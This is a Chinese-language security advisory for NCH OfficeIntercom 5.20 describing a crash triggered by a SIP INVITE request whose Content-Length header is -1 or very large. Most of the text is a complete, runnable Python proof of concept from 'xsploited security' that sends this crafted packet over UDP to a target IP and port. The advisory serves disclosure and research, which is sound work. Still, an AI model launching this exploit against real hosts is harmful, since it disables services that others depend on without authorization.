受影响系统：
NCH Software OfficeIntercom 5.20
描述：
OfficeIntercom是网络聊天工具，通过PC、袖珍PC及智能电话通过互联网或本地网络和其他人交流。
OfficeIntercom在实现上存在漏洞，远程攻击者可利用此漏洞造成拒绝服务或执行远程代码。
此漏洞源于未能正确处理特制的SIP "INVITE"请求，在"Content-Length"报头中指定了特大的值由于空指针引用可触发漏洞。
<*来源：Xsploited Security （http://www.x-sploited.com/）
*>
测试方法：
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
Xsploited Security （http://www.x-sploited.com/）提供了如下测试方法：
#!/usr/bin/python
# Exploit Title: NCH Officeintercom <= v5.20 Remote Denial of Service Vulnerability
# Date: 11/24/2010
# Author: xsploited security
# URL: http://www.x-sploited.com/
# Contact: xsploitedsecurity [at] x-sploited.com
# Software Link: http://www.nch.com.au/oi/oisetup.exe
# Version: <= v5.20
# Tested on: Windows XP SP3
# CVE : N/A
### Software Description: ###
# Officeintercom lets you use your PC, Pocket PC and Smartphone to speak to others over the internet or a local area
# network with simple "push-to-talk" technology. It works as a virtual IP intercom and feels a little like using a CB
# radio.
# Talk to anyone else who has installed OfficeIntercom anywhere in the world from your PC or Pocket PC device. OfficeIntercom
# is designed to be fast and easy to use and, in an office environment, no cabling is be required to run OfficeIntercom
# because it uses the existing computer network.
### Exploit information: ###
# NCH Office Intercom is prone to a remote denial of service attack when parsing a maliscous SIP invite request.
# If the Content-Length field has a value of -1 (or a large integer such as 3645363) the server will crash due to a NULL pointer
# reference, causing an access violation.
### Shouts: ###
# kaotix, MaX, corelanc0d3r/corelan team, exploit-db, packetstormsecurity, all other infosec researchers and websites
#
# "When you know that you’re capable of dealing with whatever comes, you have the only security the world has to offer."
# -Harry Browne
###
import sys,socket
if len(sys.argv) < 2:
print "[!] Error, Usage: " + sys.argv[0]+ " <Target IP> [Port]"
sys.exit(1)
about = "================================================\n"
about += "Title: Officeintercom <= v5.20 Remote DoS POC\n"
about += "Author: xsploited security\nURL: http://www.x-sploited.com/\n"
about += "Contact: xsploitedsecurity [at] gmail.com\n"
about += "Shouts: kAoTiX, MaX, corelanc0d3r/corelan team,\nexploit-db, packetstormsecurity, and all other sites\n"
about += "================================================\n"
print about
host = sys.argv[1]
if len(sys.argv) > 2:
port = int(sys.argv[2])
else:
port = 5060 #Default
payload = ("INVITE sip:105@" + host + " SIP/2.0\r\n"
"To: <sip:" + host + ":5060>\r\n"
"Via: SIP/2.0/UDP localhost:10000\r\n"
"From: \x22xsploitedsec\x22<sip:" + host + ":10000>\r\n"
"Call-ID: f81d4fae7dec11d0a76500a0c91e6bf6@localhost\r\n"
"CSeq: 1 INVITE\r\n"
"Max-Forwards: 70\r\n"
"Content-Type: application/sdp\r\n"
"Content-Length: -1\r\n\r\n");
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
print "[*] Sending evil SIP request to " + host + ":" + str(port)
s.sendto(payload,(host,port))
print "[*] Data sent successfully"
print "[*] Exiting…"
s.close()
建议：
厂商补丁：
NCH Software
————
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
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